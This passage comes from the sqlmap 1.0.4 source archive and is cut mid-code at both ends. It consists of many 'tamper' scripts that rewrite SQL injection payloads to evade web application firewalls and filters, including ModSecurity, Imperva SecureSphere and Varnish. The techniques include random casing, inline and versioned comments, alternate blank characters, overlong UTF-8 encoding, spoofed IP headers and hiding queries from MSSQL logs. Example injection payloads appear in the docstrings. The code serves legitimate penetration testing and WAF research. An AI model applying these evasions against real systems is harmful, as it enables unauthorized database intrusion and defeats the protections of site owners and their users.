re.sub(r"(?i)(information_schema)\.", "\g<1>/**/.", payload) return retVal sqlmap-1.0.4/tamper/lowercase.py000066400000000000000000000020241270044205500166340ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces each keyword character with lower case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases >>> tamper('INSERT') 'insert' """ retVal = payload if payload: for match in re.finditer(r"[A-Za-z_]+", retVal): word = match.group() if word.upper() in kb.keywords: retVal = retVal.replace(word, word.lower()) return retVal sqlmap-1.0.4/tamper/modsecurityversioned.py000066400000000000000000000020531270044205500211400ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import randomInt from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): pass def tamper(payload, **kwargs): """ Embraces complete query with versioned comment Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass ModSecurity WAF/IDS >>> import random >>> random.seed(0) >>> tamper('1 AND 2>1--') '1 /*!30874AND 2>1*/--' """ retVal = payload if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) return retVal sqlmap-1.0.4/tamper/modsecurityzeroversioned.py000066400000000000000000000017201270044205500220400ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): pass def tamper(payload, **kwargs): """ Embraces complete query with zero-versioned comment Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass ModSecurity WAF/IDS >>> tamper('1 AND 2>1--') '1 /*!00000AND 2>1*/--' """ retVal = payload if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix) return retVal sqlmap-1.0.4/tamper/multiplespaces.py000066400000000000000000000023541270044205500177100ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import random import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Adds multiple spaces around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt >>> random.seed(0) >>> tamper('1 UNION SELECT foobar') '1 UNION SELECT foobar' """ retVal = payload if payload: words = set() for match in re.finditer(r"[A-Za-z_]+", payload): word = match.group() if word.upper() in kb.keywords: words.add(word) for word in words: retVal = re.sub("(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal) retVal = re.sub("(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal) return retVal sqlmap-1.0.4/tamper/nonrecursivereplacement.py000066400000000000000000000021621270044205500216150ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import random import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): """ Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters Notes: * Useful to bypass very weak custom filters >>> random.seed(0) >>> tamper('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' """ keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE") retVal = payload warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords) warnMsg += "You can set it manually according to your needs" singleTimeWarnMessage(warnMsg) if payload: for keyword in keywords: _ = random.randint(1, len(keyword) - 1) retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal) return retVal sqlmap-1.0.4/tamper/overlongutf8.py000066400000000000000000000022521270044205500173150ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Converts all characters in a given payload (not processing already encoded) Reference: https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') 'SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 else: if payload[i] not in (string.ascii_letters + string.digits): retVal += "%%C0%%%.2X" % (0x8A | ord(payload[i])) else: retVal += payload[i] i += 1 return retVal sqlmap-1.0.4/tamper/percentage.py000066400000000000000000000025521270044205500167730ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import string from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0]) def tamper(payload, **kwargs): """ Adds a percentage sign ('%') infront of each character Requirement: * ASP Tested against: * Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT FIELD FROM TABLE') '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' """ if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 elif payload[i] != ' ': retVal += '%%%s' % payload[i] i += 1 else: retVal += payload[i] i += 1 return retVal sqlmap-1.0.4/tamper/randomcase.py000066400000000000000000000026051270044205500167710ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import randomRange from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces each keyword character with random case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases >>> import random >>> random.seed(0) >>> tamper('INSERT') 'INseRt' """ retVal = payload if payload: for match in re.finditer(r"[A-Za-z_]+", retVal): word = match.group() if word.upper() in kb.keywords: while True: _ = "" for i in xrange(len(word)): _ += word[i].upper() if randomRange(0, 1) else word[i].lower() if len(_) > 1 and _ not in (_.lower(), _.upper()): break retVal = retVal.replace(word, _) return retVal sqlmap-1.0.4/tamper/randomcomments.py000066400000000000000000000021421270044205500176770ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import randomRange from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Add random comments to SQL keywords >>> import random >>> random.seed(0) >>> tamper('INSERT') 'I/**/N/**/SERT' """ retVal = payload if payload: for match in re.finditer(r"\b[A-Za-z_]+\b", payload): word = match.group() if len(word) < 2: continue if word.upper() in kb.keywords: _ = word[0] for i in xrange(1, len(word) - 1): _ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i]) _ += word[-1] if "/**/" not in _: index = randomRange(1, len(word) - 1) _ = word[:index] + "/**/" + word[index:] retVal = retVal.replace(word, _) return retVal sqlmap-1.0.4/tamper/securesphere.py000066400000000000000000000011351270044205500173470ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Appends special crafted string Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: http://seclists.org/fulldisclosure/2011/May/163 >>> tamper('1 AND 1=1') "1 AND 1=1 and '0having'='0having'" """ return payload + " and '0having'='0having'" if payload else payload sqlmap-1.0.4/tamper/sp_password.py000066400000000000000000000014531270044205500172210ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def tamper(payload, **kwargs): """ Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs Requirement: * MSSQL Notes: * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure * Reference: http://websec.ca/kb/sql_injection >>> tamper('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password' """ retVal = "" if payload: retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "") return retVal sqlmap-1.0.4/tamper/space2comment.py000066400000000000000000000024471270044205500174210ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**/" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/**/" continue retVal += payload[i] return retVal sqlmap-1.0.4/tamper/space2dash.py000066400000000000000000000023231270044205500166670ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import random import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') Requirement: * MSSQL * SQLite Notes: * Useful to bypass several web application firewalls * Used during the ZeroNights SQL injection challenge, https://proton.onsec.ru/contest/ >>> random.seed(0) >>> tamper('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "--%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal sqlmap-1.0.4/tamper/space2hash.py000066400000000000000000000027761270044205500167070ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import random import string from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') Requirement: * MySQL Tested against: * MySQL 4.0, 5.0 Notes: * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html >>> random.seed(0) >>> tamper('1 AND 9227=9227') '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227' """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal sqlmap-1.0.4/tamper/space2morehash.py000066400000000000000000000042141270044205500175570ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re import random import string from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s > 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') Requirement: * MySQL >= 5.1.13 Tested against: * MySQL 5.1.41 Notes: * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html >>> random.seed(0) >>> tamper('1 AND 9227=9227') '1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227' """ def process(match): word = match.group('word') randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr)) else: return match.group() retVal = "" if payload: payload = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), payload) for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal sqlmap-1.0.4/tamper/space2mssqlblank.py000066400000000000000000000047541270044205500201310ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import random from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) def tamper(payload, **kwargs): """ Replaces space character (' ') with a random blank character from a valid set of alternate characters Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 Notes: * Useful to bypass several web application firewalls >>> random.seed(0) >>> tamper('SELECT id FROM users') 'SELECT%0Eid%0DFROM%07users' """ # ASCII table: # SOH 01 start of heading # STX 02 start of text # ETX 03 end of text # EOT 04 end of transmission # ENQ 05 enquiry # ACK 06 acknowledge # BEL 07 bell # BS 08 backspace # TAB 09 horizontal tab # LF 0A new line # VT 0B vertical TAB # FF 0C new page # CR 0D carriage return # SO 0E shift out # SI 0F shift in blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A') retVal = payload if payload: retVal = "" quote, doublequote, firstspace, end = False, False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == '#' or payload[i:i + 3] == '-- ': end = True elif payload[i] == " " and not doublequote and not quote: if end: retVal += random.choice(blanks[:-1]) else: retVal += random.choice(blanks) continue retVal += payload[i] return retVal sqlmap-1.0.4/tamper/space2mssqlhash.py000066400000000000000000000015721270044205500177600ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') Requirement: * MSSQL * MySQL Notes: * Useful to bypass several web application firewalls >>> tamper('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): retVal += "%23%0A" elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal sqlmap-1.0.4/tamper/space2mysqlblank.py000066400000000000000000000035261270044205500201330ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import random from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces space character (' ') with a random blank character from a valid set of alternate characters Requirement: * MySQL Tested against: * MySQL 5.1 Notes: * Useful to bypass several web application firewalls >>> random.seed(0) >>> tamper('SELECT id FROM users') 'SELECT%0Bid%0DFROM%0Cusers' """ # ASCII table: # TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return # VT 0B vertical TAB (MySQL and Microsoft SQL Server only) blanks = ('%09', '%0A', '%0C', '%0D', '%0B') retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += random.choice(blanks) continue retVal += payload[i] return retVal sqlmap-1.0.4/tamper/space2mysqldash.py000066400000000000000000000022111270044205500177510ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') Requirement: * MySQL * MSSQL Tested against: Notes: * Useful to bypass several web application firewalls. >>> tamper('1 AND 9227=9227') '1--%0AAND--%0A9227=9227' """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): retVal += "--%0A" elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal sqlmap-1.0.4/tamper/space2plus.py000066400000000000000000000023541270044205500167370ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with plus ('+') Notes: * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases >>> tamper('SELECT id FROM users') 'SELECT+id+FROM+users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "+" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "+" continue retVal += payload[i] return retVal sqlmap-1.0.4/tamper/space2randomblank.py000066400000000000000000000031431270044205500202410ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import random from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with a random blank character from a valid set of alternate characters Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass several web application firewalls >>> random.seed(0) >>> tamper('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers' """ # ASCII table: # TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return blanks = ("%09", "%0A", "%0C", "%0D") retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == ' ' and not doublequote and not quote: retVal += random.choice(blanks) continue retVal += payload[i] return retVal sqlmap-1.0.4/tamper/symboliclogical.py000066400000000000000000000011211270044205500200210ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) >>> tamper("1 AND '1'='1") "1 %26%26 '1'='1" """ retVal = payload if payload: retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload)) return retVal sqlmap-1.0.4/tamper/unionalltounion.py000066400000000000000000000007511270044205500201120ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces UNION ALL SELECT with UNION SELECT >>> tamper('-1 UNION ALL SELECT') '-1 UNION SELECT' """ return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload sqlmap-1.0.4/tamper/unmagicquotes.py000066400000000000000000000023731270044205500175430ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) Notes: * Useful for bypassing magic_quotes/addslashes feature Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string >>> tamper("1' AND 1=1") '1%bf%27-- ' """ retVal = payload if payload: found = False retVal = "" for i in xrange(len(payload)): if payload[i] == '\'' and not found: retVal += "%bf%27" found = True else: retVal += payload[i] continue if found: _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal) if _ != retVal: retVal = _ retVal += "-- " elif not any(_ in retVal for _ in ('#', '--', '/*')): retVal += "-- " return retVal sqlmap-1.0.4/tamper/uppercase.py000066400000000000000000000020241270044205500166370ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces each keyword character with upper case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases >>> tamper('insert') 'INSERT' """ retVal = payload if payload: for match in re.finditer(r"[A-Za-z_]+", retVal): word = match.group() if word.upper() in kb.keywords: retVal = retVal.replace(word, word.upper()) return retVal sqlmap-1.0.4/tamper/varnish.py000066400000000000000000000016641270044205500163330ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Append a HTTP header 'X-originating-IP' to bypass WAF Protection of Varnish Firewall Notes: Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 Examples: >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) >> X-remote-IP: * or %00 or %0A """ headers = kwargs.get("headers", {}) headers["X-originating-IP"] = "127.0.0.1" return payload sqlmap-1.0.4/tamper/versionedkeywords.py000066400000000000000000000031231270044205500204370ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Encloses each non-function keyword with versioned MySQL comment Requirement: * MySQL Tested against: * MySQL 4.0.18, 5.1.56, 5.5.11 Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#' """ def process(match): word = match.group('word') if word.upper() in kb.keywords: return match.group().replace(word, "/*!%s*/" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal sqlmap-1.0.4/tamper/versionedmorekeywords.py000066400000000000000000000033371270044205500213310ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Encloses each keyword with versioned MySQL comment Requirement: * MySQL >= 5.1.13 Tested against: * MySQL 5.1.56, 5.5.11 Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#') '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#' """ def process(match): word = match.group('word') if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "/*!%s*/" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal sqlmap-1.0.4/tamper/xforwardedfor.py000066400000000000000000000012771270044205500175350ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY from random import sample __priority__ = PRIORITY.NORMAL def dependencies(): pass def randomIP(): numbers = [] while not numbers or numbers[0] in (10, 172, 192): numbers = 